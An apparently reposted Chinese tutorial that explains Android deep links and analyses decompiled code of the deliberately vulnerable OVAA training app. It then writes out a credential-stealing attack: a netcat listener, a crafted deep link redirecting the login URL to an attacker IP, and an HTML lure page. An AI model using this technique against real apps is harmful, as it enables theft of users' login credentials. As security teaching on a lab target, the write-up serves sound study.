0
  • 聊天消息
  • 系統(tǒng)消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會員中心
創(chuàng)作中心

完善資料讓更多小伙伴認識你,還能領取20積分哦,立即完善>

3天內(nèi)不再提示

結合Deep Link加載任意URL竊取目標APP用戶憑證

冬至子 ? 來源:聞雞習武 ? 作者:吾奶習武之人 ? 2023-05-20 14:11 ? 次閱讀

在正式開始漏洞利用之前,我們需要先來了解一下什么是deep link。

Deep Link簡介

Deep Link 是一種允許應用程序通過 URL 直接響應特定頁面或功能的技術。這是通過操作系統(tǒng)和應用程序之間的一種約定來實現(xiàn)的。

Deep Link 結構:

圖片

Android 中,當安裝一個應用程序時,該應用程序的 manifest 文件(AndroidManifest.xml)會注冊到系統(tǒng)中。這個文件包含了該應用程序的所有組件信息,包括 activities、services、broadcast receivers 等。對于 deep linking,開發(fā)者可以在 manifest 文件中定義一個或多個 intent filters,這些 intent filters 定義了哪些 URL 可以啟動哪些 activities。

當用戶點擊一個符合某個應用程序 intent filter 規(guī)則的 URL 時,Android 系統(tǒng)就會啟動該應用程序的對應 activity。具體的規(guī)則是通過 intent filter 中的 data 元素來定義的,這個元素可以指定 URL 的 scheme、host、path 等信息。如果 URL 符合這些規(guī)則,那么就會啟動對應的 activity。

例如,下面這個示例:

<activity android:name="oversecured.ovaa.activities.DeeplinkActivity">
            <intent-filter>
                <action android:name="android.intent.action.VIEW"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <category android:name="android.intent.category.BROWSABLE"/>
                <data android:scheme="oversecured" android:host="ovaa"/>
            <span class="hljs-name"intent-filter>
        <span class="hljs-name"activity>

通過分析上面的示例代碼,我們就可以知道,在安卓系統(tǒng)中任何以"oversecured://ovaa"開頭的URL都會啟動其所對應的oversecured.ovaa.activities.DeeplinkActivity。

總的來說,深度鏈接允許開發(fā)者通過 URL 直接打開應用程序的特定部分,這對于用戶體驗和應用程序間的交互是非常有用的。

查找Deep Link

在Android系統(tǒng)中,應用需要在AndroidManifest.xml文件中聲明它們能處理的Deep Link。因此,我們可以通過使用jadx等反編譯工具對目標APK進行反編譯,在反編譯后的AndroidManifest.xml文件中搜索關鍵字:"android:scheme"

圖片

一般搜索結果所在的data標簽部分,就包括了Deep Link Url所需的必要組成部分:

  • scheme: oversecured,
  • host: ovaa

轉(zhuǎn)換成url就是:oversecured://ovaa

那這個時候,找到了APP可以處理的Deep Link,我們可以先來嘗試一下,在安卓系統(tǒng)中觸發(fā)訪問我們找到的這個Deep Link:oversecured://ovaa。

1)在PC上使用python在本地開啟一個簡易的web服務器

python -m http.server

圖片

2)在本地服務器根目錄放置一個html頁面文件

html>
<html>
    <head>
        <meta charset="UTF-8">
        <title>Deep Linking Test<span class="hljs-name"title>
    <span class="hljs-name"head>
    <body>
        <h1>Deep Linking Test!<span class="hljs-name"h1>
        <p><a href="oversecured://ovaa">點擊這里可以打開指定的Deep Linking<span class="hljs-name"a><span class="hljs-name"p>
    <span class="hljs-name"body>
<span class="hljs-name"html>

這個頁面的主要目的就是,當在手機瀏覽器遠程訪問html頁面時,點擊a標簽對應的超鏈接,就可以在安卓系統(tǒng)中觸發(fā)對Deep Link的訪問

3)在手機瀏覽器遠程訪問html頁面,點擊a標簽對應的超鏈接

oversecured://ovaa被訪問時,DeeplinkActivity將會被瞬間打開然后立即關閉,我們可能只會看到一個閃爍的屏幕,看不到具體的Activity內(nèi)容。

?通過分析DeeplinkActivity代碼可以知道:直接訪問oversecured://ovaa,Android系統(tǒng)將會匹配到DeeplinkActivity并啟動它,因為目標APP的AndroidManifest.xml中定義的intent-filter聲明了這個Activity可以處理scheme為"oversecured"和host為"ovaa"的URI。

DeeplinkActivityonCreate方法中,它會獲取到傳入的Intent,檢查Intent的action是否為"android.intent.action.VIEW",然后獲取并處理Intent的data(即URI)。因此,當直接訪問oversecured://ovaa,這個Activity將會被啟動,并且在onCreate方法中調(diào)用processDeeplink方法。

但是,因為我們直接訪問的URI沒有路徑(path),所以在processDeeplink方法中,uri.getPath()將返回null,所有的條件分支都不會被執(zhí)行,所以不會有任何額外的操作。

然后,onCreate方法會調(diào)用finish()方法來結束這個Activity。所以,從咱們的用戶的視角來看,oversecured://ovaa被訪問時,DeeplinkActivity將會被瞬間打開然后立即關閉,用戶可能只會看到一個閃爍的屏幕,看不到具體的Activity內(nèi)容。

?

跟蹤APP對Deep Link的處理

通過分析目標APP的AndroidManifest.xml,我們知道響應oversecured://ovaa的Activity是oversecured.ovaa.activities.DeeplinkActivity,因此我們可以通過反編譯工具查看DeeplinkActivity相關的代碼。

package oversecured.ovaa.activities;

import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import androidx.appcompat.app.AppCompatActivity;
import oversecured.ovaa.utils.LoginUtils;

/* loaded from: classes.dex */
public class DeeplinkActivity extends AppCompatActivity {
    private static final int URI_GRANT_CODE = 1003;
    private LoginUtils loginUtils;

    /* JADX INFO: Access modifiers changed from: protected */
    @Override // androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    public void onCreate(Bundle savedInstanceState) {
        Uri uri;
        super.onCreate(savedInstanceState);
        this.loginUtils = LoginUtils.getInstance(this);
        Intent intent = getIntent();
        if (intent != null && "android.intent.action.VIEW".equals(intent.getAction()) && (uri = intent.getData()) != null) {
            processDeeplink(uri);
        }
        finish();
    }

    private void processDeeplink(Uri uri) {
        String url;
        String host;
        if ("oversecured".equals(uri.getScheme()) && "ovaa".equals(uri.getHost())) {
            String path = uri.getPath();
            if ("/logout".equals(path)) {
                this.loginUtils.logout();
                startActivity(new Intent(this, EntranceActivity.class));
            } else if ("/login".equals(path)) {
                String url2 = uri.getQueryParameter("url");
                if (url2 != null) {
                    this.loginUtils.setLoginUrl(url2);
                }
                startActivity(new Intent(this, EntranceActivity.class));
            } else if ("/grant_uri_permissions".equals(path)) {
                Intent i = new Intent("oversecured.ovaa.action.GRANT_PERMISSIONS");
                if (getPackageManager().resolveActivity(i, 0) != null) {
                    startActivityForResult(i, 1003);
                }
            } else if ("/webview".equals(path) && (url = uri.getQueryParameter("url")) != null && (host = Uri.parse(url).getHost()) != null && host.endsWith("example.com")) {
                Intent i2 = new Intent(this, WebViewActivity.class);
                i2.putExtra("url", url);
                startActivity(i2);
            }
        }
    }

    /* JADX INFO: Access modifiers changed from: protected */
    @Override // androidx.fragment.app.FragmentActivity, android.app.Activity
    public void onActivityResult(int requestCode, int resultCode, Intent data) {
        super.onActivityResult(requestCode, resultCode, data);
        if (resultCode == -1 && requestCode == 1003) {
            setResult(resultCode, data);
        }
    }
}

通過分析代碼,我們可以知道:

1)當用戶點擊一個匹配intent filter的deep link URL時,Android系統(tǒng)會啟動對應的activity,并通過intent傳遞數(shù)據(jù)給這個activity,此處也就是DeeplinkActivity。當DeeplinkActivity被打開時,APP首先執(zhí)行的是onCreate方法,開發(fā)者在activity的onCreate()方法中通過getIntent()獲取這個intent,然后通過getData()獲取URL

2)獲取到URL后,APP再調(diào)用processDeeplink(uri),接著根據(jù)傳入的uri進行一系列處理,主要是通過條件語句針對url中不同的path進行不同的邏輯處理,通過代碼可知APP可識別處理的path是:/logout、/login、/grant_uri_permissions、/webview。

跟蹤APP對/login路徑的處理

比如當我們訪問的deep link url是:oversecured://ovaa/login,代碼String path = uri.getPath();得到的就是/login,此時當processDeeplink被調(diào)用時就會執(zhí)行以下代碼:

else if ("/login".equals(path)) {
                String url2 = uri.getQueryParameter("url");
                if (url2 != null) {
                    this.loginUtils.setLoginUrl(url2);
                }
                startActivity(new Intent(this, EntranceActivity.class));
            }

通過代碼String url2 = uri.getQueryParameter("url");可知,APP會嘗試從deep link中去獲取一個名字叫做url的參數(shù)值。

比如我們訪問的deep link url是:oversecured://ovaa/login?url=http://www.test.com。

如果我們訪問的deeplink中有url參數(shù),那APP取到url的值又要干嘛呢?我們繼續(xù)跟蹤

if (url2 != null) {
 this.loginUtils.setLoginUrl(url2);
}

如果APP取到url參數(shù)的值,則將取到的url繼續(xù)傳給setLoginUrl處理

public void setLoginUrl(String url) {
        this.editor.putString(LOGIN_URL_KEY, url).commit();
    }

這段代碼的含義就是調(diào)用 SharedPreferences.EditorputString 方法,將鍵為 LOGIN_URL_KEY 的字符串值設為 url,然后調(diào)用 commit 方法將這個改動保存到 SharedPreferences 中。這樣,下次應用程序啟動時,這個 URL 仍然可以被獲取到。

到這里,我們就比較清晰了,獲取到deep link傳遞過來的url后,將url的值和LOGIN_URL_KEY這個鍵進行了綁定。就是一個獲取并保存的操作,那我們繼續(xù)接著往后面的代碼進行分析:

當if語句執(zhí)行結束,保存好了url后,APP又啟動了一個新的界面EntranceActivity

startActivity(new Intent(this, EntranceActivity.class));

我們繼續(xù)最終分析EntranceActivity界面的代碼

public class EntranceActivity extends AppCompatActivity {
    /* JADX INFO: Access modifiers changed from: protected */
    @Override // androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        if (LoginUtils.getInstance(this).isLoggedIn()) {
            startActivity(new Intent("oversecured.ovaa.action.ACTIVITY_MAIN"));
        } else {
            startActivity(new Intent("oversecured.ovaa.action.LOGIN"));
        }
        finish();
    }
}

這個EntranceActivity的代碼主要是判斷當前是否已登錄或者未登錄,那我們這里繼續(xù)追蹤未登錄的代碼進行分析,也就是else代碼塊中的調(diào)用:

startActivity(new Intent("oversecured.ovaa.action.LOGIN"));

在AndroidManifiest.xml文件中搜索“oversecured.ovaa.action.LOGIN”,可以看到對應的是oversecured.ovaa.activities.LoginActivity

image-20230519013229270

繼續(xù)分析LoginActivity中處理登錄的關鍵函數(shù)processLogin:

public void processLogin(String email, String password) {
        LoginData loginData = new LoginData(email, password);
        Log.d("ovaa", "Processing " + loginData);
        LoginService loginService = (LoginService) RetrofitInstance.getInstance().create(LoginService.class);
        loginService.login(this.loginUtils.getLoginUrl(), loginData).enqueue(new Callback<Void>() { // from class: oversecured.ovaa.activities.LoginActivity.2
            @Override // retrofit2.Callback
            public void onResponse(Call<Void> call, Response<Void> response) {
            }

            @Override // retrofit2.Callback
            public void onFailure(Call<Void> call, Throwable t) {
            }
        });
        this.loginUtils.saveCredentials(loginData);
        onLoginFinished();
    }

這段代碼的主要作用就是處理用戶的登錄,是使用 Retrofit 庫來與服務器進行通信。

loginService.login(this.loginUtils.getLoginUrl(), loginData).enqueue(new Callback

這段代碼主要就是調(diào)用 loginServicelogin 方法,傳入登錄 URL 和登錄數(shù)據(jù),登錄url是從getLoginUrl函數(shù)獲取,而這個函數(shù)最終拿到的登錄url就是前面從deeplink中獲取到的url。

public String getLoginUrl() {
        String url = this.preferences.getString(LOGIN_URL_KEY, null);
        if (TextUtils.isEmpty(url)) {
            String url2 = this.context.getString(R.string.login_url);
            this.editor.putString(LOGIN_URL_KEY, url2).commit();
            return url2;
        }
        return url;
    }

那分析到這里,我們就可以知道,APP在處理oversecured://ovaa/login?url=http://www.test.com 這個deep link的時候,會將url的值作為登錄url,然后將用戶輸入的賬號和密碼作為參數(shù)發(fā)起請求進行提交,但是此處的url是攻擊者可控的,從而就導致了可竊取用戶的登錄憑證。

憑證截取

1)攻擊者服務器監(jiān)聽端口,用于接收竊取到的賬號密碼。

nc -lnvp 8889

圖片

2)根據(jù)分析,構造惡意的deep link

oversecured://ovaa/login?url=http://192.168.10.11:8889

3)攻擊者web服務器放置一個html頁面,用于誘導用戶點擊執(zhí)行deeplink

html>
<html>
    <head>
        <meta charset="UTF-8">
        <title>Deep Linking Test<span class="hljs-name"title>
    <span class="hljs-name"head>
    <body>
        <h1>Deep Linking Test!<span class="hljs-name"h1>
        <p><a href="oversecured://ovaa/login?url=http://192.168.10.11:8889">點擊這里可以打開指定的Deep Linking<span class="hljs-name"a><span class="hljs-name"p>
    <span class="hljs-name"body>
<span class="hljs-name"html>

4)最終竊取賬號密碼的效果

圖片

聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權轉(zhuǎn)載。文章觀點僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場。文章及其配圖僅供工程師學習之用,如有內(nèi)容侵權或者其他違規(guī)問題,請聯(lián)系本站處理。 舉報投訴
  • Android
    +關注

    關注

    12

    文章

    3917

    瀏覽量

    127040
  • Web服務器
    +關注

    關注

    0

    文章

    137

    瀏覽量

    24356
  • URL
    URL
    +關注

    關注

    0

    文章

    139

    瀏覽量

    15299
  • python
    +關注

    關注

    55

    文章

    4768

    瀏覽量

    84376
收藏 人收藏

    評論

    相關推薦

    五步玩轉(zhuǎn)低成本高效智能硬件App開發(fā)

    [/url]、[url=]iOS[/url]、APICloud等開發(fā)平臺,包含完整的Wi-Fi類終端設備App通用功能源碼,集成App開發(fā)中
    發(fā)表于 11-01 16:09

    利用Link Node實現(xiàn)傳感器數(shù)據(jù)在SJ App上的實時顯示

    `利用Link No本文主要介紹了怎么利用BLE Sensors Tag結合Google公司提供的Science Journal App實現(xiàn)傳感器數(shù)據(jù)的實時監(jiān)測。通過對周圍傳感數(shù)據(jù)的監(jiān)測,讀者可以
    發(fā)表于 11-10 22:08

    可以使用憑證生成許可并使用vivado 2016.2加載

    大家好..,我最近從xilinx獲得了一塊zed主板,其中包括一個vivado設計套件2014.2 CD和一張獲取許可證文件的憑證。但我已經(jīng)安裝了vivado最新版本,即2016.2。如果我使用憑證
    發(fā)表于 12-18 10:52

    J-Link不能連接目標MCU怎么解決

    J-Link是嵌入式軟件、硬件工程師最常用的工具之一,但是,在使用這個工具時,也會遇到各種各樣的問題。今天來給大家講講最常見的一個問題:J-Link不能連接目標MCU。J-Link的連
    發(fā)表于 11-04 07:25

    STM32L151VB-A通過J-Link連接時,顯示無法連接到目標是為什么?

    指揮官連接時,我得到“無法連接到目標”。 據(jù)我了解:https://community.st.com/external-link.jspa?url=https%3A%2F
    發(fā)表于 01-29 06:40

    MCU Link Pro未檢測到目標的原因?

    各位,我需要幫助解決有關 MCU Link pro 探針與基于 iMXRT1021 處理器的目標開發(fā)板的接口問題,系統(tǒng)配置: IDE:MCUXpresso v11.5.0目標:帶 JTAG 連接器
    發(fā)表于 04-04 07:16

    憑證管理的詳細設計

    憑證管理的詳細設計:憑證管理的總體設計,憑證填制的詳細設計,憑證查詢與匯總的詳細設計,憑證審核與記賬的詳細設計,期末轉(zhuǎn)賬
    發(fā)表于 07-06 07:29 ?0次下載

    URL,URL是什么意思

    URL,URL是什么意思 URL(Uniform Resoure Locator:統(tǒng)一資源定位器)是WWW頁的地址,它從左到右由下述部分組成: &
    發(fā)表于 03-22 10:53 ?8241次閱讀

    研究人員發(fā)現(xiàn)一個可竊取AWS憑證的加密貨幣蠕蟲

    研究人員近期發(fā)現(xiàn)一個可以竊取AWS憑證的加密貨幣蠕蟲。這是首個含有AWS特定功能的蠕蟲,該蠕蟲可以竊取本地憑證、掃描錯誤配置的Docker平臺的網(wǎng)絡。研究人員發(fā)現(xiàn)黑客組織TeamTNT
    的頭像 發(fā)表于 08-26 14:04 ?1568次閱讀
    研究人員發(fā)現(xiàn)一個可<b class='flag-5'>竊取</b>AWS<b class='flag-5'>憑證</b>的加密貨幣蠕蟲

    關于竊取業(yè)務數(shù)據(jù)的幾種常見網(wǎng)絡攻擊類型介紹

    首先介紹下用于竊取業(yè)務數(shù)據(jù)的幾種常見網(wǎng)絡攻擊類型。網(wǎng)絡攻擊者會將容易攻擊的網(wǎng)站作為目標來感染用戶并進行數(shù)據(jù)竊取。而電子郵件則是網(wǎng)絡攻擊者最常見的目標
    的頭像 發(fā)表于 09-18 11:35 ?3488次閱讀

    詳解英特爾 Xe Max 獨顯:Deep Link 技術可讓獨顯 / 核顯 “交火”

    架構的獨立圖形顯卡,是英特爾進軍獨立顯卡市場戰(zhàn)略的一部分。 IT之家了解到,銳炬 Xe MAX 獨立顯卡采用英特爾 Deep Link 技術,該技術作為英特爾 Adaptix 的一部分,支持 PCIe
    的頭像 發(fā)表于 11-02 13:44 ?4005次閱讀

    如何知道APP權限正在竊取隱私信息?

    這個權限我要授予嗎?相信很多用戶在安裝APP時,往往都會遇到APP索要某一項權限的情況,有的用戶不太在意,隨手就給通過了,也有一些用戶比較注
    的頭像 發(fā)表于 02-19 09:18 ?6597次閱讀

    教你輕松J-Link不能連接目標MCU的問題

    J-Link是嵌入式軟件、硬件工程師最常用的工具之一,但是,在使用這個工具時,也會遇到各種各樣的問題。 今天來給大家講講最常見的一個問題:J-Link不能連接目標MCU。 J-Link
    的頭像 發(fā)表于 06-30 11:18 ?5761次閱讀
    教你輕松J-<b class='flag-5'>Link</b>不能連接<b class='flag-5'>目標</b>MCU的問題

    IP知識百科之URL過濾

    URL過濾 URL過濾是一種針對用戶URL請求進行上網(wǎng)控制的技術,通過允許或禁止用戶訪問某些網(wǎng)頁資源,達到規(guī)范上網(wǎng)行為和降低安全風險的目的
    的頭像 發(fā)表于 09-23 11:08 ?5411次閱讀

    AN-2058: ADuCM355用戶引導加載程序

    用戶應用程序可以實現(xiàn)自己的引導加載程序,提供一個用于現(xiàn)場自我更新的機制。實現(xiàn)自己的用戶引導加載程序要求以適當?shù)姆绞綐嫿?b class='flag-5'>用戶應用程序,使其適合
    的頭像 發(fā)表于 06-16 16:31 ?913次閱讀
    AN-2058: ADuCM355<b class='flag-5'>用戶</b>引導<b class='flag-5'>加載</b>程序